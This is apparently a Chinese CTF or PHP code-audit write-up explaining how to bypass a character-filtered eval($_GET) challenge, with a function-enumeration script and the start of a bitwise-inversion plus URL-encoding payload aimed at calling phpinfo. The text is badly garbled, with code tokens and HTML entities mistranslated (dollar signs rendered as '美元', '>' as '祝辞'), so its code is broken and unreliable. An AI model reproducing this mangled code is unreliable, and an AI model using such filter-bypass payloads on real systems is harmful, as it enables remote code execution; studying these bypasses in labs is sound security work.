介绍 & lt; php ?
$=get_defined_functions数组();//返回所有内置定义函数
foreach ($ array[& # 39;内部# 39;],as 美元arr){,,//遍历所有方法
if (, preg_match (& # 39;/[\ x00安康;0 - 9 \ & # 39;“\ ',美元。| [{_defgops \ x7F] +/我# 39;,,arr),美元),继续;
if (, strlen (count_chars(函数(arr), 0 x3)),祝辞,0 xd ),继续;
打印(arr强生# 39;美元& lt; br/祝辞& # 39;);
}
如何看待php与旁路,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
标签:[php代码审计,绕过]
<强>代码如下强>
& lt; php ?
中将__FILE__);
$ _ =, @ $ _GET [& # 39; _ # 39;];
if (, preg_match (& # 39;/[\ x00安康;0 - 9 \ & # 39;“;”,美元。| [{_defgops \ x7F] +/我# 39;,,$ _),)
死(& # 39;rose will  not do # 39;进行实质性的);
if (, strlen (count_chars(函数($ _),0 x3)),祝辞,0 xd )
死(& # 39;你断开连接;so ,, omg # 39;);
eval ($ _);
?在
代码分析
前面的那个正则过滤大概就是过滤了下面的这些字符,借鉴师傅博客
\ x00安康;0-9 ,,,,,,,,,,,,,,,,,,,,,,匹配\ x00到空格(\ x20), 0 - 9的数字 & # 39;“,“和美元。| [{_defgops ,,,,,,,,,,,,,匹配这些字符 \ x7F ,,,,,,,,,,,,,,,,,,,,,,,,,,,匹配德尔(\ x7F)字符
而下面的这个如果语句实现的效果是,所传入的变量里面的所有不同的字符的个数不能超过十六进制的<代码> 0 xd> 代码也就是十进制的<代码> 13> 代码,就是有效载荷里面所有字符的总数不能超过13个就可了。
绕过
模糊可用方法
然后就是如何绕过了,这里可以看到并没有过滤到<代码> ^ 代码>,<代码> ~ 代码>这两个字符,所以可以使用取反绕过试一试,
但是一般情况下可以先写个脚本看看还有那些函数是可以用的。<代码> php可用方法模糊脚本代码>
所的结果如下
空白 修剪 ltrim 空空的 链接 拆开 棕褐色 : atanh 双曲正切 intval中 邮件 最小值 马克斯
虽然这里没什么能用的,但是这个模糊的脚本还是很有启发性的,遇到旁路的时候可以先用这样的脚本试一试是不是能够直接用某些危险方法。
异或+ url编码绕过
这里直接使用取反的那个操作,下面是代码。
& lt; php ?
$ a =, urlencode (~ & # 39; phpinfo& # 39;);
回波(美元);